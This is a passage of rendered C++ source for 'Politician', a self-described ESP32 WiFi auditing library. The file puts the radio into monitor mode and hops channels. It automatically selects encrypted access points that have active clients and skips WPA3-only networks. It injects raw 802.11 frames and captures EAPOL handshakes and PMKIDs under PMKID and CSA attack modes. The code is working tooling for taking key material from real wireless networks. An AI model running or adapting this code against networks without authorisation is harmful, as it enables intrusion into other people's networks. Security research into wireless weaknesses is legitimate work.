Politician 1.0.0
WiFi Auditing Library for ESP32
Loading...
Searching...
No Matches
Politician.cpp
Go to the documentation of this file.
1#include "Politician.h"
2#include <string.h>
3#include <esp_log.h>
4
5#ifndef POLITICIAN_NO_DB
7#endif
8
9namespace politician {
10
11// ─── Static members ───────────────────────────────────────────────────────────
12Politician *Politician::_instance = nullptr;
13
14// Default 2.4GHz hopping sequence (channels 1-13)
15const uint8_t Politician::HOP_SEQ[] = {1, 6, 11, 2, 7, 3, 8, 4, 9, 5, 10, 12, 13};
16const uint8_t Politician::HOP_COUNT = sizeof(HOP_SEQ) / sizeof(HOP_SEQ[0]);
17
18// 5GHz channel helper - common channels in most regulatory domains
19static const uint8_t CHANNEL_5GHZ_COMMON[] = {
20 36, 40, 44, 48, // Band 1 (5.15-5.25 GHz) - Universally allowed
21 149, 153, 157, 161, 165 // Band 4 (5.73-5.85 GHz) - UNII-3, widely allowed
22};
23
24// Helper function to check if channel is valid
25static bool isValidChannel(uint8_t ch) {
26 // 2.4GHz channels (1-14)
27 if (ch >= 1 && ch <= 14) return true;
28
29 // 5GHz channels - check common channels
30 for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON); i++) {
31 if (ch == CHANNEL_5GHZ_COMMON[i]) return true;
32 }
33
34 // Additional 5GHz channels (52-144, DFS bands - use with caution)
35 if ((ch >= 52 && ch <= 64) || (ch >= 100 && ch <= 144)) return true;
36
37 return false;
38}
39
40// ─── Constructor ──────────────────────────────────────────────────────────────
42 : _active(false), _channel(1), _rxChannel(1), _hopping(false), _channelTrafficSeen(false),
43 _lastHopMs(0), _lastRssi(0), _hopIndex(0),
44 _m1Locked(false), _m1LockEndMs(0),
45 _probeLocked(false), _probeLockEndMs(0),
46 _customChannelCount(0),
47 _eapolCb(nullptr), _apFoundCb(nullptr), _filterCb(nullptr),
48 _logCb(nullptr), _attackResultCb(nullptr), _ignoreCount(0),
49 _fishState(FISH_IDLE), _fishStartMs(0), _fishRetry(0),
50 _fishSsidLen(0), _fishChannel(1),
51 _fishAuthLogged(false), _fishAssocLogged(false),
52 _csaSecondBurstSent(false),
53 _attackMask(ATTACK_ALL), _disconnectStrategy(STRATEGY_AUTO_FALLBACK), _csaFallbackMs(0),
54 _hasTarget(false), _targetChannel(1),
55 _capturedCount(0)
56{
57 _instance = this;
58 memset(&_stats, 0, sizeof(_stats));
59 memset(_attackOverrides, 0, sizeof(_attackOverrides));
60 memset(_injectQueue, 0, sizeof(_injectQueue));
61 memset(_sessions, 0, sizeof(_sessions));
62 memset(_apCache, 0, sizeof(_apCache));
63 memset(_captured, 0, sizeof(_captured));
64 memset(_targetBssid, 0, sizeof(_targetBssid));
65 memset(_fishBssid, 0, sizeof(_fishBssid));
66 memset(_fishSsid, 0, sizeof(_fishSsid));
67 memset(_ownStaMac, 0, sizeof(_ownStaMac));
68 memset(_ignoreList, 0, sizeof(_ignoreList));
69}
70
71// ─── Logging ─────────────────────────────────────────────────────────────────
72void Politician::_log(const char *fmt, ...) {
73#ifndef POLITICIAN_NO_LOGGING
74 char buf[256];
75 va_list args;
76 va_start(args, fmt);
77 vsnprintf(buf, sizeof(buf), fmt, args);
78 va_end(args);
79
80 if (_logCb) {
81 _logCb(buf);
82 } else {
83 printf("%s", buf);
84 }
85#endif
86}
87
88// ─── begin() ─────────────────────────────────────────────────────────────────
90 _cfg = cfg;
91
92 // Validate and clamp critical config values
93 if (_cfg.smart_hopping && _cfg.hop_min_dwell_ms >= _cfg.hop_max_dwell_ms) {
94 _log("[Config] WARNING: hop_min_dwell_ms (%u) >= hop_max_dwell_ms (%u); clamping max to min+50ms\n",
96 _cfg.hop_max_dwell_ms = _cfg.hop_min_dwell_ms + 50;
97 }
98 if (_cfg.fish_timeout_ms < 500) {
99 _log("[Config] WARNING: fish_timeout_ms (%u) < 500ms; clamping to 500ms\n", _cfg.fish_timeout_ms);
100 _cfg.fish_timeout_ms = 500;
101 }
102 if (_cfg.csa_wait_ms < 1000) {
103 _log("[Config] WARNING: csa_wait_ms (%u) < 1000ms; clamping to 1000ms\n", _cfg.csa_wait_ms);
104 _cfg.csa_wait_ms = 1000;
105 }
106
107 wifi_init_config_t wifi_cfg = WIFI_INIT_CONFIG_DEFAULT();
108 if (esp_wifi_init(&wifi_cfg) != ESP_OK) return ERR_WIFI_INIT;
109 if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK) return ERR_WIFI_INIT;
110
111 if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK) return ERR_WIFI_INIT;
112
113 wifi_config_t ap_cfg = {};
114 const char *ap_ssid = _cfg.soft_ap_ssid ? _cfg.soft_ap_ssid : "WiFighter";
115 memcpy(ap_cfg.ap.ssid, ap_ssid, strlen(ap_ssid));
116 ap_cfg.ap.ssid_len = (uint8_t)strlen(ap_ssid);
117 ap_cfg.ap.ssid_hidden = _cfg.soft_ap_ssid ? 0 : 1;
118 ap_cfg.ap.max_connection = 4;
119 ap_cfg.ap.authmode = WIFI_AUTH_OPEN;
120 ap_cfg.ap.channel = 1;
121 ap_cfg.ap.beacon_interval = 1000;
122 if (esp_wifi_set_config(WIFI_IF_AP, &ap_cfg) != ESP_OK) return ERR_WIFI_INIT;
123
124 if (esp_wifi_start() != ESP_OK) return ERR_WIFI_INIT;
125
126 esp_wifi_get_mac(WIFI_IF_STA, _ownStaMac);
127 _log("[WiFi] STA MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
128 _ownStaMac[0], _ownStaMac[1], _ownStaMac[2],
129 _ownStaMac[3], _ownStaMac[4], _ownStaMac[5]);
130
131 esp_log_level_set("wifi", ESP_LOG_NONE);
132
133 wifi_promiscuous_filter_t filt = {
134 .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA
135 };
136 if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK) return ERR_WIFI_INIT;
137 if (esp_wifi_set_promiscuous(true) != ESP_OK) return ERR_WIFI_INIT;
138 if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK) return ERR_WIFI_INIT;
139 if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK) return ERR_WIFI_INIT;
140
141 // Initialize Thread Safety
142 if (!_lock) {
143 _lock = xSemaphoreCreateRecursiveMutex();
144 if (!_lock) return ERR_WIFI_INIT;
145 }
146
147 // Initialize Async Processing Core (Ringbuffer + Task)
148 if (!_rb) {
149 _rb = xRingbufferCreate(16384, RINGBUF_TYPE_NOSPLIT);
150 if (!_rb) return ERR_WIFI_INIT;
151 }
152
153 if (!_task) {
154 xTaskCreatePinnedToCore(_workerTask, "pol_worker", 4096, this, 5, &_task, 0);
155 if (!_task) return ERR_WIFI_INIT;
156 }
157
158 _initialized = true;
159 _log("[WiFi] Ready — monitor mode ch%d\n", _channel);
160 return OK;
161}
162
163// ─── Active gate ──────────────────────────────────────────────────────────────
164void Politician::setActive(bool active) {
165 if (!_initialized) return;
166 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
167 _active = active;
168 xSemaphoreGiveRecursive(_lock);
169 }
170 _log("[WiFi] Capture %s\n", active ? "ACTIVE" : "IDLE");
171}
172
173// ─── Channel control ──────────────────────────────────────────────────────────
175 if (!_initialized) return ERR_NOT_ACTIVE;
176 if (!isValidChannel(ch)) return ERR_INVALID_CH;
177 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
178 _channel = ch;
179 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
180 xSemaphoreGiveRecursive(_lock);
181 }
182 return OK;
183}
184
186 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
187 _hopping = false;
188 xSemaphoreGiveRecursive(_lock);
189 }
190 return setChannel(ch);
191}
192
193void Politician::setIgnoreList(const uint8_t (*bssids)[6], uint8_t count) {
194 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
195 _ignoreCount = (count > MAX_IGNORE) ? MAX_IGNORE : count;
196 for (uint8_t i = 0; i < _ignoreCount; i++) {
197 memcpy(_ignoreList[i], bssids[i], 6);
198 }
199 xSemaphoreGiveRecursive(_lock);
200 }
201 _log("[WiFi] Ignore list updated: %d BSSIDs\n", count);
202}
203
205 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
206 _capturedCount = 0;
207 xSemaphoreGiveRecursive(_lock);
208 }
209 _log("[WiFi] Captured list cleared\n");
210}
211
212void Politician::markCaptured(const uint8_t *bssid) {
213 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
214 _markCaptured(bssid);
215 xSemaphoreGiveRecursive(_lock);
216 }
217}
218
219void Politician::startHopping(uint16_t dwellMs) {
220 if (!_initialized) return;
221 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
222 _hopping = true;
223 _active = true;
224 _hopIndex = 0;
225 _lastHopMs = millis();
226 _channelTrafficSeen = false;
227 if (dwellMs > 0) _cfg.hop_dwell_ms = dwellMs;
228 xSemaphoreGiveRecursive(_lock);
229 }
230 _log("[WiFi] Hopping started dwell=%dms (smart=%s)\n", _cfg.hop_dwell_ms, _cfg.smart_hopping ? "on" : "off");
231}
232
234 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
235 _hopping = false;
236 xSemaphoreGiveRecursive(_lock);
237 }
238}
239
241 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
242 if (_fishState != FISH_IDLE) {
243 esp_wifi_disconnect();
244 _fishState = FISH_IDLE;
245 }
246 _hopping = false;
247 _hasTarget = false;
248 _autoTarget = false;
249 _autoTargetActive = false;
250 _m1Locked = false;
251 _probeLocked = false;
252 _active = false;
253 xSemaphoreGiveRecursive(_lock);
254 }
255 _log("[WiFi] Engine stopped\n");
256}
257
258// ─── Attack mask ──────────────────────────────────────────────────────────────
259void Politician::setAttackMask(uint8_t mask) {
260 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
261 _attackMask = mask;
262 xSemaphoreGiveRecursive(_lock);
263 }
264 _log("[WiFi] Attack mask: PMKID=%d CSA=%d PASSIVE=%d\n",
265 !!(mask & ATTACK_PMKID), !!(mask & ATTACK_CSA), !!(mask & ATTACK_PASSIVE));
266}
267
268void Politician::setAttackMaskForBssid(const uint8_t *bssid, uint8_t mask) {
269 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
270 for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
271 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0) {
272 _attackOverrides[i].mask = mask;
273 xSemaphoreGiveRecursive(_lock);
274 return;
275 }
276 }
277 for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
278 if (!_attackOverrides[i].active) {
279 _attackOverrides[i].active = true;
280 memcpy(_attackOverrides[i].bssid, bssid, 6);
281 _attackOverrides[i].mask = mask;
282 xSemaphoreGiveRecursive(_lock);
283 return;
284 }
285 }
286 xSemaphoreGiveRecursive(_lock);
287 }
288 _log("[Attack] Override table full — ignoring per-BSSID mask request\n");
289}
290
292 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
293 memset(_attackOverrides, 0, sizeof(_attackOverrides));
294 xSemaphoreGiveRecursive(_lock);
295 }
296}
297
298uint8_t Politician::_getAttackMask(const uint8_t *bssid) const {
299 for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
300 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0)
301 return _attackOverrides[i].mask;
302 }
303 return _attackMask;
304}
305
306// ─── Target mode ──────────────────────────────────────────────────────────────
307Error Politician::setTarget(const uint8_t *bssid, uint8_t channel) {
308 if (!_initialized) return ERR_NOT_ACTIVE;
309 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_WIFI_INIT;
310
311 if (_isCaptured(bssid)) {
312 xSemaphoreGiveRecursive(_lock);
314 }
315
316 memcpy(_targetBssid, bssid, 6);
317 _targetChannel = channel;
318 _hasTarget = true;
319
320 for (int i = 0; i < MAX_AP_CACHE; i++) {
321 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
322 _apCache[i].last_probe_ms = 0;
323 break;
324 }
325 }
326
327 _hopping = false;
328 _active = true;
329 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
330 _channel = channel;
331 _rxChannel = channel;
332 _log("[WiFi] Target → %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
333 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], channel);
334
335 xSemaphoreGiveRecursive(_lock);
336 return OK;
337}
338
340 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
341 _hasTarget = false;
342 memset(_targetBssid, 0, 6);
343 xSemaphoreGiveRecursive(_lock);
344 }
345 _log("[WiFi] Target cleared — wardriving mode\n");
346}
347
348Error Politician::injectCustomFrame(const uint8_t *payload, size_t len, uint8_t channel, uint32_t lock_ms, bool wait_for_channel) {
349 if (!_initialized) return ERR_NOT_ACTIVE;
350 if (len > 256) return ERR_WIFI_INIT; // Invalid length for queue
351
352 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_WIFI_INIT;
353
354 if (!wait_for_channel) {
355 // Synchronous injection
356 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
357 _channel = channel;
358 _rxChannel = channel;
359 _lastHopMs = millis();
360 esp_wifi_80211_tx(WIFI_IF_STA, (void*)payload, len, false);
361 _log("[Inject] Transmitted %d bytes on ch%d\n", (int)len, channel);
362 if (lock_ms > 0) {
363 // Temporarily lock the hopper for this duration
364 _m1Locked = true;
365 _m1LockEndMs = millis() + lock_ms;
366 }
367 } else {
368 // Asynchronous injection (queue)
369 bool queued = false;
370 for (int i = 0; i < MAX_INJECT_QUEUE; i++) {
371 if (!_injectQueue[i].active) {
372 _injectQueue[i].active = true;
373 _injectQueue[i].channel = channel;
374 _injectQueue[i].len = len;
375 _injectQueue[i].lock_ms = lock_ms;
376 memcpy(_injectQueue[i].payload, payload, len);
377 queued = true;
378 _log("[Inject] Queued %d bytes for ch%d\n", (int)len, channel);
379 break;
380 }
381 }
382 if (!queued) {
383 xSemaphoreGiveRecursive(_lock);
384 return ERR_WIFI_INIT; // Queue full
385 }
386 }
387
388 xSemaphoreGiveRecursive(_lock);
389 return OK;
390}
391
392void Politician::setChannelList(const uint8_t *channels, uint8_t count) {
393 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
394 if (count == 0 || channels == nullptr) {
395 _customChannelCount = 0;
396 _hopIndex = 0;
397 xSemaphoreGiveRecursive(_lock);
398 _log("[WiFi] Channel list cleared — hopping all channels\n");
399 return;
400 }
401 _customChannelCount = 0;
402 for (uint8_t i = 0; i < count && i < POLITICIAN_MAX_CHANNELS; i++) {
403 if (isValidChannel(channels[i])) {
404 _customChannels[_customChannelCount++] = channels[i];
405 }
406 }
407 _hopIndex = 0;
408 xSemaphoreGiveRecursive(_lock);
409 }
410 _log("[WiFi] Channel list set: %d channels\n", _customChannelCount);
411}
412
413void Politician::setChannelBands(bool ghz24, bool ghz5) {
414 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
415 _customChannelCount = 0;
416 if (ghz24) {
417 for (uint8_t i = 0; i < HOP_COUNT && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) {
418 _customChannels[_customChannelCount++] = HOP_SEQ[i];
419 }
420 }
421 if (ghz5) {
422 for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON) && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) {
423 _customChannels[_customChannelCount++] = CHANNEL_5GHZ_COMMON[i];
424 }
425 }
426 _hopIndex = 0;
427 xSemaphoreGiveRecursive(_lock);
428 }
429 if (_customChannelCount == 0) {
430 _log("[WiFi] setChannelBands: no bands selected — reverting to default 2.4GHz\n");
431 } else {
432 _log("[WiFi] Channel bands set: %d channels (2.4GHz=%d 5GHz=%d)\n",
433 _customChannelCount, (int)ghz24, (int)ghz5);
434 }
435}
436
438 if (!_initialized) return ERR_NOT_ACTIVE;
439 uint8_t ssid_len = (uint8_t)strlen(ssid);
440 int best = -1;
441 int8_t best_rssi = INT8_MIN;
442 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
443 for (int i = 0; i < MAX_AP_CACHE; i++) {
444 if (!_apCache[i].flags.active) continue;
445 if (_apCache[i].ssid_len != ssid_len) continue;
446 if (memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
447 if (_apCache[i].rssi > best_rssi) {
448 best_rssi = _apCache[i].rssi;
449 best = i;
450 }
451 }
452 xSemaphoreGiveRecursive(_lock);
453 }
454 if (best == -1) return ERR_NOT_FOUND;
455 return setTarget(_apCache[best].bssid, _apCache[best].channel);
456}
457
458void Politician::setAutoTarget(bool enable) {
459 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
460 _autoTarget = enable;
461 if (!enable) {
462 _hasTarget = false;
463 memset(_targetBssid, 0, 6);
464 _autoTargetActive = false;
465 }
466 xSemaphoreGiveRecursive(_lock);
467 }
468 _log("[AutoTarget] %s\n", enable ? "enabled" : "disabled");
469}
470
471void Politician::_recordClientForAp(const uint8_t *bssid, const uint8_t *sta, int8_t rssi) {
472 for (int i = 0; i < MAX_AP_CACHE; i++) {
473 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
474 _apCache[i].flags.has_active_clients = true;
475 for (int j = 0; j < _apCache[i].known_sta_count; j++)
476 if (memcmp(_apCache[i].known_stas[j], sta, 6) == 0) return;
477 if (_apCache[i].known_sta_count < 4) {
478 memcpy(_apCache[i].known_stas[_apCache[i].known_sta_count++], sta, 6);
479 if (_clientFoundCb) _clientFoundCb(bssid, sta, rssi);
480 }
481 return;
482 }
483}
484
485void Politician::_sendProbeRequest(const uint8_t *bssid) {
486 uint8_t frame[36]; int p = 0;
487 frame[p++] = 0x40; frame[p++] = 0x00; // FC: Probe Request
488 frame[p++] = 0x00; frame[p++] = 0x00; // Duration
489 memcpy(frame + p, bssid, 6); p += 6; // DA (directed to AP)
490 memcpy(frame + p, _ownStaMac, 6); p += 6; // SA
491 memcpy(frame + p, bssid, 6); p += 6; // BSSID
492 frame[p++] = 0x00; frame[p++] = 0x00; // Seq
493 frame[p++] = 0x00; frame[p++] = 0x00; // SSID IE: wildcard (empty)
494 frame[p++] = 0x01; frame[p++] = 0x08; // Supported Rates IE
495 frame[p++] = 0x82; frame[p++] = 0x84; frame[p++] = 0x8b; frame[p++] = 0x96;
496 frame[p++] = 0x0c; frame[p++] = 0x12; frame[p++] = 0x18; frame[p++] = 0x24;
497 esp_wifi_80211_tx(WIFI_IF_STA, frame, p, false);
498 _log("[Probe] Directed probe to hidden AP %02X:%02X:%02X:%02X:%02X:%02X\n",
499 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
500}
501
502// ─── tick() ───────────────────────────────────────────────────────────────────
504 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) != pdTRUE) return;
505
506 _processFishing();
507
508 static uint32_t lastDiagMs = 0;
509 uint32_t nowDiag = millis();
510 if (nowDiag - lastDiagMs >= 30000) {
511 lastDiagMs = nowDiag;
512 _log("[Stats] total=%lu mgmt=%lu data=%lu eapol=%lu pmkid=%lu sae=%lu caps=%lu fail_pmkid=%lu fail_csa=%lu drop=%lu rb_max=%lu aps=%d lock=%s\n",
513 (unsigned long)_stats.total, (unsigned long)_stats.mgmt,
514 (unsigned long)_stats.data, (unsigned long)_stats.eapol,
515 (unsigned long)_stats.pmkid_found, (unsigned long)_stats.sae_found,
516 (unsigned long)_stats.captures,
517 (unsigned long)_stats.failed_pmkid, (unsigned long)_stats.failed_csa,
518 (unsigned long)_stats.dropped, (unsigned long)_stats.rb_max,
519 getApCount(),
520 _probeLocked ? "probe" : _m1Locked ? "m1" : "none");
521 }
522
523 _expireSessions(_cfg.session_timeout_ms);
524
525 if (_cfg.ap_expiry_ms > 0) {
526 uint32_t now_ap = millis();
527 for (int i = 0; i < MAX_AP_CACHE; i++) {
528 if (_apCache[i].flags.active && (now_ap - _apCache[i].last_seen_ms) > _cfg.ap_expiry_ms)
529 _apCache[i].flags.active = false;
530 }
531 }
532
533 if (_autoTarget && !_autoTargetActive && _fishState == FISH_IDLE && !_probeLocked && !_m1Locked) {
534 int best = -1; int best_score = -9999;
535 for (int i = 0; i < MAX_AP_CACHE; i++) {
536 if (!_apCache[i].flags.active || _isCaptured(_apCache[i].bssid)) continue;
537 if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) continue;
538 if (_apCache[i].enc < 2) continue; // Skip open/WEP
539 if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) continue;
540 if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) continue;
541
542 int score = _apCache[i].rssi;
543 if (_targetScoreCb) {
544 ApRecord ap_rec;
545 memcpy(ap_rec.bssid, _apCache[i].bssid, 6);
546 memcpy(ap_rec.ssid, _apCache[i].ssid, 33);
547 ap_rec.ssid_len = _apCache[i].ssid_len;
548 ap_rec.enc = _apCache[i].enc;
549 ap_rec.channel = _apCache[i].channel;
550 ap_rec.rssi = _apCache[i].rssi;
551 ap_rec.wps_enabled = _apCache[i].flags.wps_enabled;
552 ap_rec.pmf_capable = _apCache[i].flags.pmf_capable;
553 ap_rec.pmf_required = _apCache[i].flags.pmf_required;
554 ap_rec.total_attempts = _apCache[i].total_attempts;
555 ap_rec.captured = false; // already checked above
556 ap_rec.ft_capable = _apCache[i].flags.ft_capable;
557 ap_rec.first_seen_ms = _apCache[i].first_seen_ms;
558 ap_rec.last_seen_ms = _apCache[i].last_seen_ms;
559 memcpy(ap_rec.country, _apCache[i].country, 3);
560 ap_rec.beacon_interval = _apCache[i].beacon_interval;
561 ap_rec.max_rate_mbps = _apCache[i].max_rate_mbps;
562 ap_rec.is_hidden = _apCache[i].flags.is_hidden;
563 ap_rec.sta_count = _apCache[i].sta_count;
564 ap_rec.chan_util = _apCache[i].chan_util;
565
566 score = _targetScoreCb(ap_rec, getVendor(ap_rec.bssid));
567 }
568
569 if (score > best_score) { best_score = score; best = i; }
570 }
571 if (best >= 0) {
572 _autoTargetActive = true;
573 setTarget(_apCache[best].bssid, _apCache[best].channel);
574 _log("[AutoTarget] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%s rssi=%d score=%d\n",
575 _apCache[best].bssid[0], _apCache[best].bssid[1], _apCache[best].bssid[2],
576 _apCache[best].bssid[3], _apCache[best].bssid[4], _apCache[best].bssid[5],
577 _apCache[best].ssid, _apCache[best].rssi, best_score);
578 }
579 }
580
581 if (!_hopping) {
582 xSemaphoreGiveRecursive(_lock);
583 return;
584 }
585
586 uint32_t now = millis();
587
588 if (_probeLocked && _fishState == FISH_IDLE && now >= _probeLockEndMs) {
589 _probeLocked = false;
590 _lastHopMs = now;
591 }
592
593 if (_m1Locked && now >= _m1LockEndMs) {
594 _m1Locked = false;
595 _lastHopMs = now;
596 }
597
598 bool locked = _m1Locked || _probeLocked || _hasTarget;
599 uint32_t current_dwell = _cfg.hop_dwell_ms;
600 if (_cfg.smart_hopping && !locked) {
601 // Evaluate early exit or extended dwell
602 if (!_channelTrafficSeen && (now - _lastHopMs >= _cfg.hop_min_dwell_ms)) {
603 current_dwell = _cfg.hop_min_dwell_ms;
604 } else if (_channelTrafficSeen) {
605 current_dwell = _cfg.hop_max_dwell_ms;
606 }
607 }
608
609 if (!locked && (now - _lastHopMs >= current_dwell)) {
610 const uint8_t *seq = (_customChannelCount > 0) ? _customChannels : HOP_SEQ;
611 uint8_t count = (_customChannelCount > 0) ? _customChannelCount : HOP_COUNT;
612 _hopIndex = (_hopIndex + 1) % count;
613 _channel = seq[_hopIndex];
614 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
615 _lastHopMs = now;
616 _channelTrafficSeen = false;
617
618 // Process inject queue for the new channel
619 for (int i = 0; i < MAX_INJECT_QUEUE; i++) {
620 if (_injectQueue[i].active && _injectQueue[i].channel == _channel) {
621 esp_wifi_80211_tx(WIFI_IF_STA, (void*)_injectQueue[i].payload, _injectQueue[i].len, false);
622 _log("[Inject] Transmitted queued %d bytes on ch%d\n", _injectQueue[i].len, _channel);
623 _injectQueue[i].active = false;
624 if (_injectQueue[i].lock_ms > 0) {
625 _m1Locked = true;
626 _m1LockEndMs = millis() + _injectQueue[i].lock_ms;
627 }
628 }
629 }
630 }
631
632 xSemaphoreGiveRecursive(_lock);
633}
634
635// ─── Static promiscuous callback (IRAM) ──────────────────────────────────────
636void IRAM_ATTR Politician::_promiscuousCb(void *buf, wifi_promiscuous_pkt_type_t type) {
637 if (!_instance || !_instance->_active || !_instance->_rb) return;
638
639 const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf;
640 uint16_t total_len = sizeof(wifi_pkt_rx_ctrl_t) + pkt->rx_ctrl.sig_len;
641
642 // Send raw packet data to ringbuffer for async processing
643 if (xRingbufferSendFromISR(_instance->_rb, buf, total_len, NULL) != pdTRUE) {
644 _instance->_stats.dropped++;
645 }
646}
647
648void Politician::_workerTask(void *pvParameters) {
649 Politician *self = (Politician *)pvParameters;
650 while (true) {
651 size_t size = 0;
652 wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)xRingbufferReceive(self->_rb, &size, portMAX_DELAY);
653 if (pkt) {
654 // Infer frame type from 802.11 Frame Control field
655 uint16_t fc = pkt->payload[0] | (pkt->payload[1] << 8);
656 wifi_promiscuous_pkt_type_t type = WIFI_PKT_MGMT;
657 if ((fc & 0x0C) == 0x08) type = WIFI_PKT_DATA;
658 else if ((fc & 0x0C) == 0x04) type = WIFI_PKT_CTRL;
659
660 if (self->_lock && xSemaphoreTakeRecursive(self->_lock, portMAX_DELAY) == pdTRUE) {
661 // Monitor ringbuffer high-water mark
662 size_t free_rb = 0;
663 vRingbufferGetInfo(self->_rb, NULL, NULL, NULL, NULL, &free_rb);
664 uint32_t used_rb = 16384 - (uint32_t)free_rb;
665 if (used_rb > self->_stats.rb_max) self->_stats.rb_max = used_rb;
666
667 self->_handleFrame(pkt, type);
668 xSemaphoreGiveRecursive(self->_lock);
669 }
670 vRingbufferReturnItem(self->_rb, (void *)pkt);
671 }
672 }
673}
674
675void Politician::_handleFrame(const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
676 if (!_active) return;
677 if (!pkt) return;
678 uint16_t sig_len = pkt->rx_ctrl.sig_len;
679 if (sig_len < sizeof(ieee80211_hdr_t)) return;
680
681 _stats.total++;
682 _lastRssi = (int8_t)pkt->rx_ctrl.rssi;
683 _rxChannel = pkt->rx_ctrl.channel;
684 if (_rxChannel > 0 && _rxChannel < 200) _stats.channel_frames[_rxChannel]++;
685
686 const ieee80211_hdr_t *hdr = (const ieee80211_hdr_t *)pkt->payload;
687 uint16_t fc = hdr->frame_ctrl;
688 uint16_t ftype = fc & FC_TYPE_MASK;
689 uint8_t fsub = fc & FC_SUBTYPE_MASK;
690
691 // --- Packet Logging Filter Hook ---
692 if (_packetCb && _cfg.capture_filter != 0) {
693 bool log_it = false;
694 if (ftype == FC_TYPE_MGMT) {
695 if (fsub == MGMT_SUB_BEACON && (_cfg.capture_filter & LOG_FILTER_BEACONS)) log_it = true;
696 if ((fsub == MGMT_SUB_PROBE_REQ || fsub == MGMT_SUB_PROBE_RESP) && (_cfg.capture_filter & LOG_FILTER_PROBES)) log_it = true;
697 if (fsub == MGMT_SUB_PROBE_REQ && (_cfg.capture_filter & LOG_FILTER_PROBE_REQ)) log_it = true;
698 if ((fsub == MGMT_SUB_DEAUTH || fsub == MGMT_SUB_DISASSOC) && (_cfg.capture_filter & LOG_FILTER_MGMT_DISRUPT)) log_it = true;
699 } else if (ftype == FC_TYPE_DATA && (_cfg.capture_filter & LOG_FILTER_HANDSHAKES)) {
700 uint16_t hdr_len = sizeof(ieee80211_hdr_t);
701 uint8_t subtype = fsub >> 4;
702 bool is_qos = (subtype >= 8 && subtype <= 11);
703 if (is_qos) {
704 hdr_len += 2;
705 if (fc & FC_ORDER_MASK) hdr_len += 4;
706 }
707 if (sig_len >= hdr_len + EAPOL_MIN_FRAME_LEN) {
708 const uint8_t *llc = pkt->payload + hdr_len;
709 if (llc[0] == 0xAA && llc[1] == 0xAA && llc[2] == 0x03 &&
710 llc[6] == EAPOL_ETHERTYPE_HI && llc[7] == EAPOL_ETHERTYPE_LO) {
711 log_it = true;
712 }
713 }
714 }
715 if (log_it) _packetCb(pkt->payload, sig_len, _lastRssi, _rxChannel, pkt->rx_ctrl.timestamp);
716 }
717 // ----------------------------------
718
719 if (type == WIFI_PKT_MGMT && ftype == FC_TYPE_MGMT) {
720 _stats.mgmt++;
721 uint16_t payload_off = sizeof(ieee80211_hdr_t);
722 if (sig_len > payload_off) {
